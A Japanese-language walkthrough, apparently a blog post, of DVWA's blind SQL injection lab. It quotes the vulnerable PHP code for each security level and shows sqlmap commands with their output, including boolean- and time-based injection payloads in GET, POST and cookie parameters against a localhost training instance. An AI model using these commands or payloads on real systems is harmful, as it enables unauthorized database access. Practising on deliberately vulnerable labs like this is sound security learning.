前提
- kali linux環境がある
- DVWAのセットアップ済み
- 初級レベル理解済み
目標
- 脆弱性の理解を深める。
手順概要
- 大まかな挙動を把握する
- コードを見て脆弱性をみつける
- コードの脆弱性を攻撃する
内容
###挙動の把握
low
- 存在するIDと存在しないIDを入力
- urlにクエリが入る
- 入力の結果は、success/failの文言で判断。
medium
- selectBoxのoption値をPOST
- 入力の結果は、success/failの文言で判断。
high
- クリックすると別windowが開く
- 別windowでidを入力=>idとsubmitをpostする。その際cookieにidを埋め込んでいる。
- 上記responseを受けて、元の画面でGETされる。その際cookieにidを埋め込んでいる。
- 入力の結果は、success/failの文言で判断。
コードを確認
low
- 入力値がそのまま格納される。
<?php
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
?>
medium
- urlからの入力や、文字列の直接入力はできない。
- mysqli_real_escape_stringで特殊文字をエスケープ
<?php
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
?>
high
- 文字のエスケープはないので、そこは気にしない。
- limit 1で1つだけ表示になっているがsqlmap使うので関係ない。
- SQL命令に含まれるidはcookieから取得している。
<?php
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
?>
impossible
- tokenチェック
- is_numericで数値かどうかの判定
<?php
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
}
?>
脆弱性を攻撃する
low
- urlにクエリが入るパターンなので簡単。
- sqlmapのurlにクエリを含めれば、後はsqlmapにお任せすればよい。
root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1"
# その結果が以下
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 6579=6579 AND 'ztyK'='ztyK&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 6933 FROM (SELECT(SLEEP(5)))IIUV) AND 'lrmA'='lrmA&Submit=Submit
---
medium
- POSTリクエストであることだけ考慮すればよい。
- sqlmapに--dataオプションを追加すれば、post処理が模擬される。
# --data request_bodyにparamsを乗せる
root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie="security=medium; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1" --data="id=1&Submit=Submit"
# その結果が以下
---
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 7941=7941&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 5502 FROM (SELECT(SLEEP(5)))BxyM)&Submit=Submit
---
high
- ここは少し頭を使う。
- sqlmapに設定するURLには注意
- sqli_blind/cookie-input.phpの場合
- idとsubmitのpostとidを含むcookieを模擬する必要がある。(これは問題ない)
- この攻撃ではsuccess/failでresponseの差分がないのでsqlmapでは脆弱性を判定できない。(これはハマるところ)
- idとsubmitのpostとidを含むcookieを模擬する必要がある。(これは問題ない)
- sqli_blind/
- 実はGETしかもクエリなし
- id付きのcookieがあればいい
- sqli_blind/cookie-input.phpの場合
- 上記を読むと分かる通り、攻撃対象として適しているのは”sqli_blind/”
- ということで以下コマンド実行
# -p {param} で攻撃に使用するparam指定。
# --dbms データベース指定。(対象を絞り解析時間の節約用)
root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie="security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1" -p id --dbms=mysql
# その結果が以下
---
Parameter: id (Cookie)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1' AND 2480=2480-- jotW
Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
Payload: security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1' OR SLEEP(5)-- caGm
---
impossible
- 無理っぽい